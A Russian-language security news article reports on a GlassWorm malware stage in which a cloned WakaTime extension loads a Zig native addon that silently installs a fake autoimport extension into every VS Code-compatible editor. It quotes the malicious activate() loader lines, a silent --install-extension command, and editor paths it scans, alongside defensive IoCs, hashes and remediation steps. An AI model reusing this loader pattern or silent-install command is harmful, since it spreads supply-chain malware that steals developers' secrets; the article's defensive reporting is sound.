GlassWorm заражает все IDE на машине через фейковый WakaTime на Zig

Исследователи Aikido нашли новую стадию кампании GlassWorm: клон WakaTime с нативным бинарником на Zig заражает все VS Code-совместимые редакторы на машине разом.

Обложка: GlassWorm заражает все IDE на машине через фейковый WakaTime на Zig

Если вы используете VS Code, Cursor, Windsurf, VSCodium или Positron — проверьте список установленных расширений прямо сейчас. Новая волна кампании GlassWorm прячет вредонос в поддельном WakaTime и тихо заражает каждый IDE, который найдёт на машине.

Исследователи Aikido Security обнаружили в реестре Open VSX расширение code-wakatime-activity-tracker — почти полный клон легитимного WakaTime. Отличие одно: в функции activate() расширение подгружает нативный бинарник на Zig, который сканирует систему и устанавливает второй дроппер в каждый редактор на базе VS Code.

Ключевые выводы
  • Кампания GlassWorm добавила новую стадию — нативный бинарник на Zig (win.node и mac.node), который запускается вне JavaScript-песочницы Node.js.
  • Заражаются все VS Code-совместимые редакторы на машине: VS Code, VS Code Insiders, Cursor, Windsurf, VSCodium, Positron.
  • Второй этап — фейк популярного расширения steoates.autoimport (5+ миллионов установок) под именем floktokbok.autoimport.
  • Вредонос пропускает машины с русской локалью и использует Solana-блокчейн как C2-инфраструктуру.
  • Если у вас стояли расширения specstudio.code-wakatime-activity-tracker или floktokbok.autoimport — считайте машину скомпрометированной и ротируйте секреты.

Как устроена атака

Клон WakaTime с одной изменённой функцией

Расширение code-wakatime-activity-tracker на Open VSX визуально повторяет оригинальный WakaTime: те же команды, те же запросы API-ключа, та же иконка в статус-баре. Разница только в одной функции — activate(), которая запускается при первом открытии расширения:

			const bw = process.platform === "win32" ? "./bin/win.node" : "./bin/mac.node";
const { install } = require(bw);
install();
		

До какой-либо логики WakaTime расширение подгружает нативный бинарник из вложенной папки ./bin/ и сразу вызывает install(). На Windows это win.node — PE32+ DLL, на macOS — mac.node, универсальный Mach-O для x86_64 и arm64.

Полный обход песочницы

Оба бинарника — Node.js native addons: скомпилированные shared-библиотеки, которые Node подгружает через require() как обычные пакеты. Они загружаются прямо в рантайм Node и выполняются за пределами JavaScript-песочницы, с правами уровня операционной системы. Оба написаны на Zig. В macOS-бинарнике остались debug-символы — из них исследователи вытащили путь к проекту автора:

			/Users/davidioasd/Downloads/vsx_installer_zig
		

Сканирование всех VS Code-совместимых редакторов

Дальше бинарник ищет на машине каждый редактор, который понимает формат расширений VS Code. Проверяются стандартные пути установки — как в %LOCALAPPDATA%, так и в %ProgramFiles%:

			%LOCALAPPDATA%\Programs\Microsoft VS Code\bin\code.cmd
%LOCALAPPDATA%\Programs\Microsoft VS Code Insiders\bin\code-insiders.cmd
%LOCALAPPDATA%\Programs\cursor\resources\app\bin\cursor.cmd
%LOCALAPPDATA%\Programs\windsurf\resources\app\bin\windsurf.cmd
%LOCALAPPDATA%\Programs\VSCodium\resources\app\bin\codium.cmd
%LOCALAPPDATA%\Programs\Positron\resources\app\bin\positron.cmd
		

На macOS аналогично обходятся /Applications/*.app для VS Code, Cursor, Windsurf, VSCodium и Positron. Если разработчик использует Cursor как основной редактор, но рядом стоит VS Code — оба окажутся скомпрометированы.

Подмена autoimport — расширения с 5 млн установок

Собрав список редакторов, бинарник скачивает вредоносный .vsix с GitHub Releases-страницы, подконтрольной атакующим. Пакет называется floktokbok.autoimport и подделывается под steoates.autoimport — популярное расширение с более 5 миллионов установок. Скачанный файл сохраняется во временный путь, а затем «тихо» ставится в каждый найденный IDE через его CLI-установщик:

			cmd.exe /d /e:ON /v:OFF /c "<ide_path> --install-extension <vsix_path>"
		

После установки функция cleanupVsix удаляет скачанный файл, чтобы скрыть следы.

Что делает вторая ступень

Установленный autoimport — это тот же дроппер GlassWorm, который Aikido уже анализировали раньше. Он проверяет локаль системы и пропускает машины с русскими настройками, затем обращается к C2-серверу через Solana-блокчейн. Адрес C2 не зашит в бинарник — дроппер каждый раз читает его из блокчейн-транзакций подконтрольного кошелька, поэтому для блокировки недостаточно добавить один домен в deny-list, а закрыть весь Solana нереально.

Дальше дроппер выкачивает секреты с машины, ставит persistent-RAT и доставляет вредоносное расширение для Google Chrome — infostealer, который перехватывает сессионные cookies и нажатия клавиш.

Контекст: год эволюции GlassWorm

Aikido отслеживают GlassWorm больше года: кампания засветилась в марте 2025 с npm-пакетами, прятавшими payload в невидимых Unicode-символах, а с тех пор успела скомпрометировать сотни проектов на GitHub, npm и в VS Code Marketplace. Ключевое отличие нового этапа — переход к нативному коду на Zig: раньше нагрузка выполнялась в JS-рантайме расширения и её было видно в Developer Tools, теперь она уходит на уровень ОС, где статический анализ JavaScript-кода её уже не поймает.

Что делать прямо сейчас

  1. Проверьте в каждом VS Code-совместимом редакторе список установленных расширений. Искомые имена: specstudio.code-wakatime-activity-tracker и floktokbok.autoimport.
  2. Если нашли — считайте машину скомпрометированной. Удалите расширения, но этого недостаточно.
  3. Ротируйте все секреты, к которым у машины был доступ: SSH-ключи, npm/pypi-токены, cloud-CLI, GitHub PAT, облачные credentials в ~/.aws, ~/.config.
  4. Проверьте Chrome и Chromium-браузеры на неизвестные расширения и удалите их.
  5. Пересмотрите cookies и активные сессии во всех браузерах, разлогиньтесь везде.
  6. Для профилактики — перед установкой проверяйте издателя и число установок (autoimport, WakaTime и другие популярные расширения имеют миллионы установок и проверенного автора). Если в команде используется корпоративный endpoint protection — добавьте в его охват папки расширений IDE: это ловит malware в нативных аддонах, которые расширения тянут с собой.

Индикаторы компрометации (IoC)

Вредоносные расширения:

			specstudio.code-wakatime-activity-tracker
floktokbok.autoimport
		

Хеши бинарников SHA-256:

			win.node: 2819ea44e22b9c47049e86894e544f3fd0de1d8afc7b545314bd3bc718bf2e02
mac.node: 112d1b33dd9b0244525f51e59e6a79ac5ae452bf6e98c310e7b4fa7902e4db44
		

Хеши действительны на момент анализа Aikido. Атакующие могут пересобрать бинарник — в этом случае хеши изменятся, но имена расширений и пути установки остаются корректными индикаторами.

Сетевые индикаторы:

			github[.]com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsix
		

Строки в бинарнике:

			vsx_installer_zig  # имя Zig-проекта в macOS-бинарнике
davidioasd         # username в debug-символах
		
Часто задаваемые вопросы
1
Что такое GlassWorm?

Кампания по распространению вредоносного ПО, которую Aikido Security отслеживают с марта 2025. GlassWorm прячет payload в популярных open source-пакетах и расширениях IDE — в npm, на GitHub, в VS Code Marketplace и Open VSX. Финальная цель — установить RAT, собрать секреты и подложить вредоносное Chrome-расширение.

2
Почему Zig?

Zig компилируется в нативный код, который запускается вне JS-песочницы расширения и получает полный доступ к ОС. При этом статический анализ JavaScript-кода расширения Zig-бинарник не поймает — его нужно смотреть отдельно, а хеш-сигнатуры легко обойти пересборкой.

3
Я в безопасности, если использую Linux?

Текущая версия дроппера собрана только под Windows и macOS. Но в предыдущих итерациях кампании Linux тоже попадал под удар, и ничто не мешает атакующим добавить Linux-сборку.

4
Я установил расширение — что я потерял?

Предположите, что утекли все локальные секреты: SSH-ключи, токены пакетных менеджеров, облачные credentials, сессионные cookies браузера и сохранённые пароли. Ротация всего, к чему машина имела доступ, — не перестраховка, а необходимый минимум.

5
Как защититься в будущем?

Не ставьте расширения с малым числом установок и молодым издателем, особенно если они копируют имя популярного инструмента. Используйте endpoint protection или whitelist расширений для команды, включите автоматическое сканирование malware в CI и пересматривайте список установленных расширений как часть обычной гигиены.

Выводы

Главный сдвиг в этом релизе GlassWorm — не сама подделка WakaTime, а то, что группа научилась перекладывать payload на нативный слой. Для защитников это означает две вещи: во-первых, статического анализа JS теперь мало — нужен контроль за любыми нативными аддонами, которые расширения тянут с собой; во-вторых, атакующим доступна не одна экосистема, а весь зонтик VS Code-совместимых редакторов сразу.

Расширение [...] кладёт рядом с JavaScript-кодом скомпилированный на Zig нативный бинарник. Это не первый раз, когда GlassWorm прибегает к нативному коду в расширениях. Но теперь бинарник работает не как payload напрямую, а как скрытый слой, который незаметно заражает все остальные IDE на машине.
Ilyas MakariSecurity researcher, Aikido Security (из анализа в The Hacker News)

Если вы разработчик — самый быстрый прикладной вывод: пройдитесь по списку расширений во всех установленных редакторах прямо сейчас, особенно если недавно ставили что-то через Open VSX. И пересмотрите, чьим расширениям вы в принципе доверяете по умолчанию.

Источники: Aikido Security, The Hacker News.